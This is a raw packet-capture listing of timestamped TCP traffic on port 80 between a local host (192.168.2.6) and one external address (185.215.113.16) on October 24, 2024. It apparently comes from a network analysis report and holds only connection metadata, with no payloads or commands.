Oct 24, 2024 18:08:20.888752937 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.888772964 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.888834000 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.888860941 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.888885021 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.888894081 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.888900042 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.888907909 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.888916016 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.888931990 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.888941050 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.888947010 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.888962030 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.888964891 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.888978958 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.888993025 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.889010906 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.889013052 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.889025927 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.889034033 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.889044046 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.889060020 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.889060974 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.889077902 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.889092922 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.889098883 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.889110088 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.889125109 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.889127970 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.889139891 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.889156103 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.889164925 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.889173031 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.889187098 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.889189959 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.889203072 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.889216900 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.889233112 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.889244080 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.889245033 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.889270067 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.889303923 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.889323950 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.889341116 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.889358997 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.889375925 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.889378071 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.889393091 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.889410973 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.889416933 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.889425039 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.889441013 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.889445066 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.889456987 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.889476061 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.889489889 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.889492989 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.889516115 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.889518023 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.889533997 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.889550924 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.889556885 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.889565945 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.889579058 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.889583111 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.889599085 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.889614105 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.889621019 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.889630079 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.889643908 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.889655113 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.889671087 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.889677048 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.889686108 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.889703035 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.889718056 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.889718056 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.889733076 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.889745951 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.889758110 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.889760971 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.889777899 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.889781952 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.889792919 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.889810085 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.889817953 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.889833927 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.889849901 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.889864922 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.889867067 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.889883041 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.889888048 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.889899969 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.889915943 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.889919043 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.889931917 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.889947891 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.889957905 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.889962912 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.889977932 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.889986038 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.889991999 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.890011072 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.890017033 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.890033007 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.890047073 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.890060902 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.890064001 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.890089035 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.890093088 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.890117884 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.890126944 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.890134096 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.890158892 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.890173912 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.890175104 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.890189886 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.890204906 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.890208960 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.890221119 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.890234947 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.890239000 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.890249968 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.890265942 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.890285015 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.890290976 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.890306950 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.890311003 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.890321970 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.890336037 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.890342951 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.890366077 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.890403986 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.890423059 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.890438080 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.890454054 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.890455961 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.890469074 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.890484095 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.890484095 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.890500069 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.890505075 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.890516996 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.890531063 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.890546083 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.890547037 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.890561104 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.890572071 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.890577078 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.890592098 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.890607119 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.890613079 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.890624046 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.890631914 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.890650988 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.890665054 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.890669107 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.890695095 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.890705109 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.890710115 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.890724897 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.890742064 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.890744925 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.890758991 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.890774965 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.890777111 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.890799999 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.890815973 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.890818119 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.890830994 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.890846014 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.890861034 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.890861988 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.890887976 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.890901089 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.890903950 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.890918970 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.890923977 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.890935898 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.890949965 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.890952110 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.890966892 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.890981913 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.890997887 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.891000986 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.891012907 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.891021967 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.891028881 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.891048908 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.891052008 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.891067028 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.891086102 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.891100883 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.891103029 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.891115904 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.891130924 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.891133070 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.891146898 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.891155958 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.891163111 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.891180038 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.891181946 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.891196012 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.891210079 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.891226053 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.891228914 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.891238928 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.891263962 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.891279936 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.891302109 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.897279978 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.897309065 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.897325039 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.897353888 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.897372961 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.897404909 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.897505999 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.897521973 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.897538900 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.897538900 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.897553921 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.897569895 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.897571087 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.897586107 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.897602081 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.897610903 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.897639036 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.897644043 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.897659063 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.897675037 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.897690058 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.897706032 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.897722006 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.897730112 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.897743940 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.897752047 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.897759914 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.897773981 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.897778034 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.897794008 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.897803068 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.897809982 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.897826910 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.897833109 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.897845030 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.897860050 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.897876978 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.897902012 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.897911072 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.897927046 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.898029089 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.898850918 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.957310915 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.957345009 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.957361937 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.957380056 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.957395077 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.957396030 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.957411051 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.957425117 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.957442045 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.965913057 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.965965986 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.966012955 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.966027975 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.966044903 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.966049910 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.966061115 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.966083050 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.966104031 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.966154099 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.966193914 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.966208935 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.966243029 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.966291904 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.966308117 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.966324091 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.966341019 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.966342926 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.966358900 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.966432095 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.966448069 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.966464043 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.966466904 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.966491938 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.966507912 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.966522932 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.966525078 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.966541052 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.966550112 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.966556072 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.966573954 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.994986057 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.995060921 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.995064020 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.995083094 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.995099068 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.995114088 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.995130062 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.995136976 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.995151997 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.995165110 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.995172977 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.995191097 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.995193958 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.995209932 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.995223999 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.995230913 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.995239973 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.995254993 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.995276928 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.995280027 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.995295048 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.995300055 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.995321035 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.995336056 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.995338917 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.995352983 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.995388985 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.995402098 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.995417118 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.995431900 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.995446920 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.995450974 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.995470047 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.995587111 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.995600939 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.995615959 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.995630980 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.995635986 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:20.995647907 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.995662928 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:20.995666027 CEST	49744	80	192.168.2.6	185.215.113.16
